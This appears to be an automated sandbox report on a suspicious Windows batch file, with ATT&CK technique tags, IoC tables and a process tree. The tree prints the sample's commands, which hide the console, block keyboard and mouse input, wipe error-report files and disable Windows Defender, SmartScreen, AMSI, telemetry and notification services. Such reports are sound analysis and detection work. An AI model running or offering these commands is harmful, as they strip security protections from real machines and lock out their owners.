Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2024	sc.exe
4280	sc.exe
4868	sc.exe
4828	sc.exe
1828	sc.exe
1388	sc.exe
3388	sc.exe
812	sc.exe
2808	sc.exe
3924	sc.exe
4208	sc.exe
4952	sc.exe
2808	sc.exe
220	sc.exe
3716	sc.exe
2700	sc.exe
956	sc.exe
1164	sc.exe
3200	sc.exe
4840	sc.exe
4756	sc.exe
4900	sc.exe
4924	sc.exe
2604	sc.exe
716	sc.exe
2188	sc.exe
3224	sc.exe
612	sc.exe
1068	sc.exe
3416	sc.exe
4692	sc.exe
1080	sc.exe
2844	sc.exe
1696	sc.exe
2036	sc.exe
1980	sc.exe
1464	sc.exe
4388	sc.exe
1280	sc.exe
1876	sc.exe
3728	sc.exe
3748	sc.exe
1304	sc.exe
3596	sc.exe
1800	sc.exe
3820	sc.exe
2748	sc.exe
2516	sc.exe
740	sc.exe
4268	sc.exe
3212	sc.exe
368	sc.exe
4560	sc.exe
4528	sc.exe
2580	sc.exe
4156	sc.exe
1784	sc.exe
1276	sc.exe
4920	sc.exe
1480	sc.exe
3116	sc.exe
1032	sc.exe
1528	sc.exe
700	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Event Triggered Execution: Netsh Helper DLL 1 TTPs 36 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
2060	timeout.exe

Disables Windows logging functionality 2 TTPs
Changes registry settings to disable Windows Event logging.

Disable or Modify Tools
T1562.001

Modify Registry
T1112

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
1536	ipconfig.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
1416	vssadmin.exe

Modifies data under HKEY_USERS 41 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\My	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs	svchost.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3784	powershell.exe
1856	powershell.exe
3784	powershell.exe
1856	powershell.exe
4336	powershell.exe
4336	powershell.exe
4712	powershell.exe
4712	powershell.exe
212	powershell.exe
212	powershell.exe
3024	powershell.exe
3024	powershell.exe
3876	powershell.exe
3876	powershell.exe
1464	powershell.exe
1464	powershell.exe
4188	powershell.exe
4188	powershell.exe
3524	powershell.exe
3524	powershell.exe
4128	powershell.exe
4128	powershell.exe
4668	powershell.exe
4668	powershell.exe
2732	powershell.exe
2732	powershell.exe
1016	powershell.exe
1016	powershell.exe
1320	powershell.exe
1320	powershell.exe
1684	powershell.exe
1684	powershell.exe
4952	powershell.exe
4952	powershell.exe
3964	powershell.exe
3964	powershell.exe
2104	powershell.exe
2104	powershell.exe
5012	powershell.exe
5012	powershell.exe
2120	powershell.exe
2120	powershell.exe
4444	powershell.exe
1828	powershell.exe
4444	powershell.exe
1828	powershell.exe
3156	powershell.exe
3156	powershell.exe
1816	powershell.exe
1816	powershell.exe
1272	powershell.exe
1272	powershell.exe
388	powershell.exe
388	powershell.exe
2872	powershell.exe
2872	powershell.exe
3404	powershell.exe
3404	powershell.exe
2628	powershell.exe
2628	powershell.exe
2396	powershell.exe
2396	powershell.exe
1940	powershell.exe
1940	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3784	powershell.exe
Token: SeDebugPrivilege	1856	powershell.exe
Token: SeDebugPrivilege	4336	powershell.exe
Token: SeTakeOwnershipPrivilege	4320	takeown.exe
Token: SeDebugPrivilege	4712	powershell.exe
Token: SeTakeOwnershipPrivilege	4228	takeown.exe
Token: SeTakeOwnershipPrivilege	2652	takeown.exe
Token: SeDebugPrivilege	212	powershell.exe
Token: SeShutdownPrivilege	3596	powercfg.exe
Token: SeCreatePagefilePrivilege	3596	powercfg.exe
Token: SeShutdownPrivilege	2024	powercfg.exe
Token: SeCreatePagefilePrivilege	2024	powercfg.exe
Token: SeShutdownPrivilege	2024	powercfg.exe
Token: SeCreatePagefilePrivilege	2024	powercfg.exe
Token: SeShutdownPrivilege	4156	powercfg.exe
Token: SeCreatePagefilePrivilege	4156	powercfg.exe
Token: SeShutdownPrivilege	716	powercfg.exe
Token: SeCreatePagefilePrivilege	716	powercfg.exe
Token: SeShutdownPrivilege	5100	powercfg.exe
Token: SeCreatePagefilePrivilege	5100	powercfg.exe
Token: SeShutdownPrivilege	1468	powercfg.exe
Token: SeCreatePagefilePrivilege	1468	powercfg.exe
Token: SeShutdownPrivilege	3648	powercfg.exe
Token: SeCreatePagefilePrivilege	3648	powercfg.exe
Token: SeShutdownPrivilege	2808	powercfg.exe
Token: SeCreatePagefilePrivilege	2808	powercfg.exe
Token: SeShutdownPrivilege	956	powercfg.exe
Token: SeCreatePagefilePrivilege	956	powercfg.exe
Token: SeShutdownPrivilege	4404	powercfg.exe
Token: SeCreatePagefilePrivilege	4404	powercfg.exe
Token: SeShutdownPrivilege	812	powercfg.exe
Token: SeCreatePagefilePrivilege	812	powercfg.exe
Token: SeShutdownPrivilege	4908	powercfg.exe
Token: SeCreatePagefilePrivilege	4908	powercfg.exe
Token: SeShutdownPrivilege	4732	powercfg.exe
Token: SeCreatePagefilePrivilege	4732	powercfg.exe
Token: SeShutdownPrivilege	3888	powercfg.exe
Token: SeCreatePagefilePrivilege	3888	powercfg.exe
Token: SeShutdownPrivilege	2748	powercfg.exe
Token: SeCreatePagefilePrivilege	2748	powercfg.exe
Token: SeShutdownPrivilege	3348	powercfg.exe
Token: SeCreatePagefilePrivilege	3348	powercfg.exe
Token: SeShutdownPrivilege	3416	powercfg.exe
Token: SeCreatePagefilePrivilege	3416	powercfg.exe
Token: SeShutdownPrivilege	4120	powercfg.exe
Token: SeCreatePagefilePrivilege	4120	powercfg.exe
Token: SeShutdownPrivilege	3644	powercfg.exe
Token: SeCreatePagefilePrivilege	3644	powercfg.exe
Token: SeShutdownPrivilege	4968	powercfg.exe
Token: SeCreatePagefilePrivilege	4968	powercfg.exe
Token: SeShutdownPrivilege	948	powercfg.exe
Token: SeCreatePagefilePrivilege	948	powercfg.exe
Token: SeShutdownPrivilege	1688	powercfg.exe
Token: SeCreatePagefilePrivilege	1688	powercfg.exe
Token: SeShutdownPrivilege	1280	powercfg.exe
Token: SeCreatePagefilePrivilege	1280	powercfg.exe
Token: SeTakeOwnershipPrivilege	4764	takeown.exe
Token: SeTakeOwnershipPrivilege	4748	takeown.exe
Token: SeDebugPrivilege	3024	powershell.exe
Token: SeDebugPrivilege	3876	powershell.exe
Token: SeTakeOwnershipPrivilege	1232	takeown.exe
Token: SeTakeOwnershipPrivilege	3740	takeown.exe
Token: SeDebugPrivilege	1464	powershell.exe
Token: SeTakeOwnershipPrivilege	4592	takeown.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4248 wrote to memory of 548	4248	cmd.exe	85
PID 548 wrote to memory of 4904	548	net.exe	86
PID 4248 wrote to memory of 1856	4248	cmd.exe	87
PID 4248 wrote to memory of 3784	4248	cmd.exe	88
PID 4248 wrote to memory of 4412	4248	cmd.exe	89
PID 3784 wrote to memory of 3284	3784	powershell.exe	91
PID 1856 wrote to memory of 4556	1856	powershell.exe	90
PID 4248 wrote to memory of 3404	4248	cmd.exe	92
PID 4248 wrote to memory of 4060	4248	cmd.exe	93
PID 4248 wrote to memory of 4336	4248	cmd.exe	94
PID 4556 wrote to memory of 1372	4556	csc.exe	95
PID 3284 wrote to memory of 4960	3284	csc.exe	96
PID 4248 wrote to memory of 3176	4248	cmd.exe	97
PID 4248 wrote to memory of 4576	4248	cmd.exe	98
PID 4248 wrote to memory of 3496	4248	cmd.exe	99
PID 4248 wrote to memory of 3740	4248	cmd.exe	100
PID 4248 wrote to memory of 4428	4248	cmd.exe	101
PID 4248 wrote to memory of 3380	4248	cmd.exe	102
PID 4248 wrote to memory of 1944	4248	cmd.exe	103
PID 4248 wrote to memory of 1236	4248	cmd.exe	104
PID 4248 wrote to memory of 4468	4248	cmd.exe	105
PID 4248 wrote to memory of 4228	4248	cmd.exe	107
PID 4248 wrote to memory of 2652	4248	cmd.exe	108
PID 4248 wrote to memory of 4040	4248	cmd.exe	109
PID 4248 wrote to memory of 1164	4248	cmd.exe	110
PID 4248 wrote to memory of 1800	4248	cmd.exe	111
PID 4248 wrote to memory of 4280	4248	cmd.exe	112
PID 4248 wrote to memory of 4188	4248	cmd.exe	113
PID 4248 wrote to memory of 516	4248	cmd.exe	115
PID 4248 wrote to memory of 4320	4248	cmd.exe	116
PID 4248 wrote to memory of 4008	4248	cmd.exe	117
PID 4248 wrote to memory of 4816	4248	cmd.exe	118
PID 4248 wrote to memory of 3820	4248	cmd.exe	119
PID 4248 wrote to memory of 4692	4248	cmd.exe	120
PID 4248 wrote to memory of 2024	4248	cmd.exe	121
PID 4248 wrote to memory of 4156	4248	cmd.exe	122
PID 4248 wrote to memory of 716	4248	cmd.exe	124
PID 4248 wrote to memory of 5100	4248	cmd.exe	125
PID 4248 wrote to memory of 1468	4248	cmd.exe	126
PID 4248 wrote to memory of 4624	4248	cmd.exe	127
PID 4248 wrote to memory of 2808	4248	cmd.exe	128
PID 4248 wrote to memory of 956	4248	cmd.exe	129
PID 4248 wrote to memory of 4404	4248	cmd.exe	130
PID 4248 wrote to memory of 812	4248	cmd.exe	131
PID 4248 wrote to memory of 4908	4248	cmd.exe	132
PID 4248 wrote to memory of 4732	4248	cmd.exe	133
PID 4248 wrote to memory of 3888	4248	cmd.exe	134
PID 4248 wrote to memory of 2748	4248	cmd.exe	135
PID 4248 wrote to memory of 3348	4248	cmd.exe	136
PID 4248 wrote to memory of 3416	4248	cmd.exe	137
PID 4248 wrote to memory of 4120	4248	cmd.exe	138
PID 4248 wrote to memory of 3644	4248	cmd.exe	139
PID 4248 wrote to memory of 4924	4248	cmd.exe	140
PID 4248 wrote to memory of 452	4248	cmd.exe	141
PID 4248 wrote to memory of 4868	4248	cmd.exe	142
PID 4248 wrote to memory of 4828	4248	cmd.exe	143
PID 4248 wrote to memory of 1784	4248	cmd.exe	144
PID 4248 wrote to memory of 2700	4248	cmd.exe	145
PID 4248 wrote to memory of 1280	4248	cmd.exe	146
PID 4248 wrote to memory of 1276	4248	cmd.exe	147
PID 4248 wrote to memory of 1080	4248	cmd.exe	148
PID 4248 wrote to memory of 700	4248	cmd.exe	149
PID 4248 wrote to memory of 1104	4248	cmd.exe	150
PID 4248 wrote to memory of 3924	4248	cmd.exe	151

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
3076	attrib.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\deepseek_batch_20260508_c8df07.bat"
1⤵
- Drops file in Drivers directory
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:4248
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:548
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:4904
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-Type -Name Window -Namespace Console -MemberDefinition '[DllImport(\"kernel32.dll\")]public static extern IntPtr GetConsoleWindow();[DllImport(\"user32.dll\")]public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);';$hwnd=[Console.Window]::GetConsoleWindow();[Console.Window]::ShowWindow($hwnd,0)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1856
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ic34fzg0\ic34fzg0.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4556
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1F89.tmp" "c:\Users\Admin\AppData\Local\Temp\ic34fzg0\CSC1309C896C6042D19B71A37D861AD60.TMP"
      4⤵
      PID:1372
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Add-Type -MemberDefinition '[DllImport(\"user32.dll\")]public static extern bool BlockInput(bool f);' -Name W -Namespace TMP;[TMP.W]::BlockInput($true);Start-Sleep 600000;[TMP.W]::BlockInput($false)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3784
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\hmg2x1hg\hmg2x1hg.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3284
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1FA8.tmp" "c:\Users\Admin\AppData\Local\Temp\hmg2x1hg\CSC811A5F23E01F4D859C821A33EECD114.TMP"
      4⤵
      PID:4960
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting" /v Disabled /t REG_DWORD /d 1 /f
  2⤵
  PID:4412
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting" /v DontShowUI /t REG_DWORD /d 1 /f
  2⤵
  PID:3404
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\Windows" /v ErrorMode /t REG_DWORD /d 2 /f
  2⤵
  PID:4060
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Get-ChildItem 'C:\ProgramData\Microsoft\Windows\WER\ReportQueue' -Recurse -ErrorAction SilentlyContinue | Where-Object {:OpenWrite($_.FullName); $b=[byte[]]::new(1024); (New-Object System.Security.Cryptography.RNGCryptoServiceProvider).GetBytes($b); $fs.Write($b,0,$b.Length); $fs.Close() } catch{} }"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4336
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 0 /f
  2⤵
  - Modifies Windows Defender TamperProtection settings
  PID:3176
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  PID:4576
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableRoutinelyTakingAction /t REG_DWORD /d 1 /f
  2⤵
  PID:3496
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:3740
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:4428
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:3380
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:1944
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SpyNetReporting /t REG_DWORD /d 0 /f
  2⤵
  PID:1236
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f
  2⤵
  PID:4468
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v DisableEnhancedNotifications /t REG_DWORD /d 1 /f
  2⤵
  PID:4228
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\CloudBlockLevel" /ve /t REG_DWORD /d 0 /f
  2⤵
  PID:2652
- C:\Windows\system32\sc.exe
  sc stop WpnService
  2⤵
  PID:4040
- C:\Windows\system32\sc.exe
  sc stop WpnUserService
  2⤵
  - Launches sc.exe
  PID:1164
- C:\Windows\system32\sc.exe
  sc config WpnService start= disabled
  2⤵
  - Launches sc.exe
  PID:1800
- C:\Windows\system32\sc.exe
  sc config WpnUserService start= disabled
  2⤵
  - Launches sc.exe
  PID:4280
- C:\Windows\system32\sc.exe
  sc delete WpnService
  2⤵
  PID:4188
- C:\Windows\system32\sc.exe
  sc delete WpnUserService
  2⤵
  PID:516
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\WpnCore.dll" /a
  2⤵
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:4320
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\WpnCore.dll" /deny Everyone:(X)
  2⤵
  PID:4008
- C:\Windows\system32\reg.exe
  reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications" /f
  2⤵
  PID:4816
- C:\Windows\system32\sc.exe
  sc stop WpnService
  2⤵
  - Launches sc.exe
  PID:3820
- C:\Windows\system32\sc.exe
  sc config WpnService start= disabled
  2⤵
  - Launches sc.exe
  PID:4692
- C:\Windows\system32\sc.exe
  sc stop WpnUserService
  2⤵
  - Launches sc.exe
  PID:2024
- C:\Windows\system32\sc.exe
  sc config WpnUserService start= disabled
  2⤵
  - Launches sc.exe
  PID:4156
- C:\Windows\system32\reg.exe
  reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\PushNotifications" /f
  2⤵
  PID:716
- C:\Windows\system32\reg.exe
  reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\PushNotifications" /f
  2⤵
  PID:5100
- C:\Windows\system32\sc.exe
  sc stop DiagTrack
  2⤵
  PID:1468
- C:\Windows\system32\sc.exe
  sc config DiagTrack start= disabled
  2⤵
  PID:4624
- C:\Windows\system32\sc.exe
  sc stop dmwappushservice
  2⤵
  - Launches sc.exe
  PID:2808
- C:\Windows\system32\sc.exe
  sc config dmwappushservice start= disabled
  2⤵
  - Launches sc.exe
  PID:956
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\DataCollection" /v AllowTelemetry /t REG_DWORD /d 0 /f
  2⤵
  PID:4404
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\DataCollection" /v AllowTelemetry /t REG_DWORD /d 0 /f
  2⤵
  PID:812
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v EnableSmartScreen /t REG_DWORD /d 0 /f
  2⤵
  PID:4908
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer" /v SmartScreenEnabled /t REG_SZ /d "Off" /f
  2⤵
  PID:4732
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}" /v DebugMode /t REG_DWORD /d 1 /f
  2⤵
  PID:3888
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\AMSI\Providers" /ve /t REG_SZ /d " " /f
  2⤵
  PID:2748
- C:\Windows\system32\sc.exe
  sc stop WinDefend
  2⤵
  PID:3348
- C:\Windows\system32\sc.exe
  sc config WinDefend start= disabled
  2⤵
  PID:3416
- C:\Windows\system32\sc.exe
  sc failure WinDefend reset= 86400 actions= restart/0
  2⤵
  PID:4120
- C:\Windows\system32\sc.exe
  sc stop WdNisSvc
  2⤵
  PID:3644
- C:\Windows\system32\sc.exe
  sc config WdNisSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:4924
